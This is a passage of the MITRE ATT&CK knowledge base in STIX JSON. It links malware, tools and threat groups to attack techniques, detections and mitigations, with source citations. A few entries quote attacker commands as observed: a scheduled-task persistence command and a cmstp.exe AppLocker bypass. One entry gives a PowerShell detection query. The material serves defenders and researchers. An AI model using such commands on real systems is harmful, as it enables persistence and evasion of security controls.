High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."}], "modified": "2020-11-20T18:19:44.010Z", "description": "[Lucifer](https://attack.mitre.org/software/S0532) has established persistence by creating the following scheduled task <code>schtasks /create /sc minute /mo 1 /tn QQMusic ^ /tr C:Users\\%USERPROFILE%\\Downloads\\spread.exe /F</code>.(Citation: Unit 42 Lucifer June 2020)", "relationship_type": "uses", "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5d9b14c3-70ea-46b3-9b0d-1595c215efec", "type": "relationship", "created": "2020-10-21T14:15:47.328Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Mandiant - Synful Knock", "url": "https://www.mandiant.com/resources/synful-knock-acis", "description": "Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020."}], "modified": "2021-12-14T23:14:26.102Z", "description": "[SYNful Knock](https://attack.mitre.org/software/S0519) can be sent instructions via special packets to change its functionality. Code for new functionality can be included in these messages.(Citation: Mandiant - Synful Knock)", "relationship_type": "uses", "source_ref": "malware--84c1ecc6-e5a2-4e8a-bf4b-651a618e0053", "target_ref": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5da3452c-3f93-42f0-98fd-54fa7bc0c562", "created": "2023-09-27T20:50:30.182Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "MoustachedBouncer ESET August 2023", "description": "Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.", "url": "https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-12T17:55:36.781Z", "description": "[NightClub](https://attack.mitre.org/software/S1090) has used a non-standard encoding in DNS tunneling removing any `=` from the result of base64 encoding, and replacing `/` characters with `-s` and `+` characters with `-p`.(Citation: MoustachedBouncer ESET August 2023)", "relationship_type": "uses", "source_ref": "malware--91c57ed3-7c32-4c68-b388-7db00cb8dac6", "target_ref": "attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--5da42f91-d58e-48bd-b8b2-3d35db7edcf2", "created": "2022-06-09T20:46:02.975Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Malwarebytes Saint Bot April 2021", "url": "https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/", "description": "Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Saint Bot](https://attack.mitre.org/software/S1018) has used `check_registry_keys` as part of its environmental checks.(Citation: Malwarebytes Saint Bot April 2021)", "modified": "2022-06-09T20:46:02.975Z", "relationship_type": "uses", "source_ref": "malware--7724581b-06ff-4d2b-b77c-80dc8d53070b", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5da52674-0e47-431e-b00a-d27dfdba373b", "created": "2022-03-30T14:26:51.834Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T16:13:07.744Z", "description": "Monitor executed commands and arguments for actions that could be taken to gather system and network information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nNote: Commands can also be obtained from Payload event field for PowerShell event id 4103. For PowerShell Module logging event id 4103, enable logging for module Microsoft.PowerShell.Management.\n\nAnalytic 1 - Suspicious Commands\n\n<code>source=WinEventLog:\"*Microsoft-Windows-PowerShell/Operational\" EventCode=\"4103\" | where CommandLine LIKE \"%Get-Process%\" AND CommandLine LIKE \"%mainWindowTitle%\"</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--5dadf8c9-3e69-4e5f-9dc2-829e6601aa11", "created": "2022-06-09T20:52:53.080Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Malwarebytes Saint Bot April 2021", "url": "https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/", "description": "Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Saint Bot](https://attack.mitre.org/software/S1018) has created a scheduled task named \"Maintenance\" to establish persistence.(Citation: Malwarebytes Saint Bot April 2021)", "modified": "2022-06-09T20:52:53.080Z", "relationship_type": "uses", "source_ref": "malware--7724581b-06ff-4d2b-b77c-80dc8d53070b", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5daee125-eb83-4529-889e-18de7115f688", "type": "relationship", "created": "2019-03-11T17:56:44.970Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/PowerShellEmpire/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", "source_name": "Github PowerShell Empire"}], "modified": "2021-04-09T14:46:59.563Z", "description": "[Empire](https://attack.mitre.org/software/S0363) contains modules for executing commands over SSH as well as in-memory VNC agent injection.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", "target_ref": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5db02c00-0d28-4831-bad9-66737bb62eca", "created": "2020-10-28T13:37:51.917Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cycraft Chimera April 2020", "description": "Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020.", "url": "https://cycraft.com/download/CyCraft-Whitepaper-Chimera_V4.1.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-06T18:11:56.971Z", "description": "(Citation: Cycraft Chimera April 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", "target_ref": "tool--066b057c-944e-4cfc-b654-e3dfba04b926", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5db107fe-7b8d-4093-a551-492eb4a72ed9", "created": "2019-05-29T14:17:51.256Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Proofpoint TA505 Jan 2019", "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.", "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-06T21:19:55.906Z", "description": "[ServHelper](https://attack.mitre.org/software/S0382) has created a new user named \"supportaccount\".(Citation: Proofpoint TA505 Jan 2019)", "relationship_type": "uses", "source_ref": "malware--aae22730-e571-4d17-b037-65f2a3e26213", "target_ref": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5db19a58-c7ff-4de0-b9bd-9e3b247b2ff3", "type": "relationship", "created": "2022-01-07T15:11:27.782Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos ZxShell Oct 2014", "url": "https://blogs.cisco.com/security/talos/opening-zxshell", "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."}], "modified": "2022-01-07T15:11:27.782Z", "description": "[ZxShell](https://attack.mitre.org/software/S0412) can transfer files from a compromised host.(Citation: Talos ZxShell Oct 2014)", "relationship_type": "uses", "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5db4c540-d95b-4a38-9d05-c21d7c85c9b1", "type": "relationship", "created": "2021-03-01T21:55:30.000Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CERT-FR PYSA April 2020", "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf", "description": "CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021."}], "modified": "2021-03-01T21:55:30.000Z", "description": "[Pysa](https://attack.mitre.org/software/S0583) has used Powershell scripts to deploy its ransomware.(Citation: CERT-FR PYSA April 2020) ", "relationship_type": "uses", "source_ref": "malware--a19c1197-9414-46e3-986f-0f609ff4a46b", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5dbd040e-0433-42ca-8e03-b3741be31cb2", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html", "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", "source_name": "Talos Cobalt Group July 2018"}, {"source_name": "Morphisec Cobalt Gang Oct 2018", "url": "https://blog.morphisec.com/cobalt-gang-2.0", "description": "Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018."}, {"source_name": "Unit 42 Cobalt Gang Oct 2018", "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/", "description": "Unit 42. (2018, October 25). New Techniques to Uncover and Attribute Financial actors Commodity Builders and Infrastructure Revealed. Retrieved December 11, 2018."}], "modified": "2019-07-26T23:38:33.286Z", "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used the command <code>cmstp.exe /s /ns C:\\Users\\ADMINI~W\\AppData\\Local\\Temp\\XKNqbpzl.txt</code> to bypass AppLocker and launch a malicious script.(Citation: Talos Cobalt Group July 2018)(Citation: Morphisec Cobalt Gang Oct 2018)(Citation: Unit 42 Cobalt Gang Oct 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", "target_ref": "attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--5dc3e7ec-34b2-41db-a49a-4b4de637ec7c", "created": "2022-03-30T14:26:51.840Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "AWS Cloud Trail Backup API", "url": "https://docs.aws.amazon.com/aws-backup/latest/devguide/logging-using-cloudtrail.html", "description": "Amazon. (2020). Logging AWS Backup API Calls with AWS CloudTrail. Retrieved April 27, 2020."}, {"source_name": "GCP - Creating and Starting a VM", "url": "https://cloud.google.com/compute/docs/instances/create-start-instance#api_2", "description": "Google. (2020, April 23). Creating and Starting a VM instance. Retrieved May 1, 2020."}, {"source_name": "Cloud Audit Logs", "url": "https://cloud.google.com/logging/docs/audit#admin-activity", "description": "Google. (n.d.). Audit Logs. Retrieved June 1, 2020."}, {"source_name": "Azure - Monitor Logs", "url": "https://docs.microsoft.com/en-us/azure/backup/backup-azure-monitoring-use-azuremonitor", "description": "Microsoft. (2019, June 4). Monitor at scale by using Azure Monitor. Retrieved May 1, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "The creation of a snapshot is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities such as the creation of one or more snapshots and the restoration of these snapshots by a new user account.\nIn AWS, CloudTrail logs capture the creation of snapshots and all API calls for AWS Backup as events. Using the information collected by CloudTrail, you can determine the request that was made, the IP address from which the request was made, which user made the request, when it was made, and additional details.(Citation: AWS Cloud Trail Backup API)\nIn Azure, the creation of a snapshot may be captured in Azure activity logs. Backup restoration events can also be detected through Azure Monitor Log Data by creating a custom alert for completed restore jobs.(Citation: Azure - Monitor Logs)\nGoogle's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of the\u00a0gcloud compute instances create\u00a0command to create a new VM disk from a snapshot.(Citation: Cloud Audit Logs)\u00a0It is also possible to detect the usage of the GCP API with the\u00a0<code>sourceSnapshot</code>\u00a0parameter pointed to\u00a0<code>global/snapshots/[BOOT_SNAPSHOT_NAME]</code>.(Citation: GCP - Creating and Starting a VM)", "modified": "2022-04-20T03:35:55.354Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3da222e6-53f3-451c-a239-0b405c009432", "target_ref": "attack-pattern--ed2e45f9-d338-4eb2-8ce5-3a2e03323bc1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5dc6d333-b9e2-410e-a11a-a40fa092eb81", "type": "relationship", "created": "2022-03-30T14:26:51.850Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.850Z", "description": "Monitor the file system and shell commands for files being created with a leading \".\u201d", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5dcc3242-4a1e-4789-b70e-be6c66534e61", "created": "2021-09-07T13:59:00.976Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Kaspersky Transparent Tribe August 2020", "description": "Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021.", "url": "https://securelist.com/transparent-tribe-part-1/98127/"}, {"source_name": "Proofpoint Operation Transparent Tribe March 2016", "description": "Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.", "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"}, {"source_name": "Cisco Talos Transparent Tribe Education Campaign July 2022", "description": "N. Baisini. (2022, July 13). Transparent Tribe begins targeting education sector in latest campaign. Retrieved September 22, 2022.", "url": "https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-22T20:17:20.631Z", "description": "[Crimson](https://attack.mitre.org/software/S0115) can use a module to perform keylogging on compromised hosts.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)(Citation: Cisco Talos Transparent Tribe Education Campaign July 2022)", "relationship_type": "uses", "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5dcc5947-375c-4b73-867b-5beb6e333c69", "type": "relationship", "created": "2019-09-10T18:20:12.926Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-11-10T15:55:10.234Z", "description": "Restrict write access to XDG autostart entries to only select privileged users.", "relationship_type": "mitigates", "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", "target_ref": "attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5dd0d491-bb82-45b4-91cd-a7d9e4cf396e", "type": "relationship", "created": "2020-05-06T15:26:38.870Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET PLEAD Malware July 2018", "url": "https://www.welivesecurity.com/2018/07/09/certificates-stolen-taiwanese-tech-companies-plead-malware-campaign/", "description": "Cherepanov, A.. (2018, July 9). Certificates stolen from Taiwanese tech\u2011companies misused in Plead malware campaign. Retrieved May 6, 2020."}], "modified": "2020-05-06T15:26:38.870Z", "description": "[PLEAD](https://attack.mitre.org/software/S0435) has the ability to steal saved passwords from Microsoft Outlook.(Citation: ESET PLEAD Malware July 2018)", "relationship_type": "uses", "source_ref": "malware--b57f419e-8b12-49d3-886b-145383725dcd", "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5dd257c0-c2cb-422a-9991-93ff667c5ad6", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT FALLCHILL Nov 2017", "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.", "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A"}], "modified": "2020-03-27T20:45:20.253Z", "description": "[FALLCHILL](https://attack.mitre.org/software/S0181) can collect operating system (OS) version information, processor information, system name, and information about installed disks from the victim.(Citation: US-CERT FALLCHILL Nov 2017)", "relationship_type": "uses", "source_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5dd2c2dd-dcc3-44f5-9c9a-3055cda6c5fa", "created": "2023-07-10T20:38:06.656Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Crowdstrike TELCO BPO Campaign December 2022", "description": "Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. 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(2019, October). OPERATION GHOST. Retrieved September 23, 2020."}], "modified": "2020-10-09T16:07:59.302Z", "description": "[OnionDuke](https://attack.mitre.org/software/S0052) has the capability to use a Denial of Service module.(Citation: ESET Dukes October 2019)", "relationship_type": "uses", "source_ref": "malware--b136d088-a829-432c-ac26-5529c26d4c7e", "target_ref": "attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5e5ee6b9-182f-47fb-a0b5-71c3c52fed12", "type": "relationship", "created": "2020-02-04T19:24:28.235Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-09-13T21:08:10.340Z", "description": "Ensure critical system files as well as those known to be abused by adversaries have restrictive permissions and are owned by an appropriately privileged account, especially if access is not required by users nor will inhibit system functionality.", "relationship_type": "mitigates", "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", "target_ref": "attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5e60c70a-7b2f-45b8-b7d4-80e214acfb2d", "created": "2019-05-24T17:57:36.608Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "SecureList Silence Nov 2017", "description": "GReAT. (2017, November 1). Silence \u2013 a new Trojan attacking financial organizations. Retrieved May 24, 2019.", "url": "https://securelist.com/the-silence/83009/"}, {"source_name": "Group IB Silence Sept 2018", "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.", "url": "https://go.group-ib.com/report-silence-en?_gl=1*d1bh3a*_ga*MTIwMzM5Mzc5MS4xNjk4OTI5NzY4*_ga_QMES53K3Y2*MTcwNDcyMjU2OS40LjEuMTcwNDcyMzU1Mi41My4wLjA."}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-10T14:30:32.209Z", "description": "[Silence](https://attack.mitre.org/groups/G0091) has been observed making videos of victims to observe bank employees day to day activities.(Citation: SecureList Silence Nov 2017)(Citation: Group IB Silence Sept 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321", "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--5e617da4-3359-4e40-b29d-679e05ef2e31", "created": "2022-07-18T16:01:43.028Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Korean FSI TA505 2020", "url": "https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory=", "description": "Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[SDBbot](https://attack.mitre.org/software/S0461) has used rundll32.exe to execute DLLs.(Citation: Korean FSI TA505 2020)", "modified": "2022-07-18T16:01:43.028Z", "relationship_type": "uses", "source_ref": "malware--92b03a94-7147-4952-9d5a-b4d24da7487c", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5e6cf759-1690-41b3-9e41-d8317f4ef83d", "type": "relationship", "created": "2020-01-14T01:26:08.261Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-14T01:26:08.261Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5e6e745f-d756-4b6e-90e1-3adcf848570b", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html", "description": "FireEye. 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Retrieved March 14, 2019.", "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/", "source_name": "Unit 42 Shamoon3 2018"}], "modified": "2020-05-29T18:11:23.456Z", "description": "If [Shamoon](https://attack.mitre.org/software/S0140) cannot access shares using current privileges, it attempts access using hard coded, domain-specific credentials gathered earlier in the intrusion.(Citation: FireEye Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)", "relationship_type": "uses", "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", "target_ref": "attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5e6f5555-f7dd-462d-b110-afc28f021be5", "type": "relationship", "created": "2021-05-26T13:28:32.136Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "BlackBerry CostaRicto November 2020", "url": "https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced", "description": "The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."}, {"source_name": "FireEye FiveHands April 2021", "url": "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html", "description": "McLellan, T.  and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."}, {"source_name": "CISA AR21-126A FIVEHANDS May 2021", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a", "description": "CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021."}], "modified": "2021-06-08T13:29:06.774Z", "description": "[SombRAT](https://attack.mitre.org/software/S0615) has the ability to download and execute additional payloads.(Citation: BlackBerry CostaRicto November 2020)(Citation: FireEye FiveHands April 2021)(Citation: CISA AR21-126A FIVEHANDS May 2021)", "relationship_type": "uses", "source_ref": "malware--425771c5-48b4-4ecd-9f95-74ed3fc9da59", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": 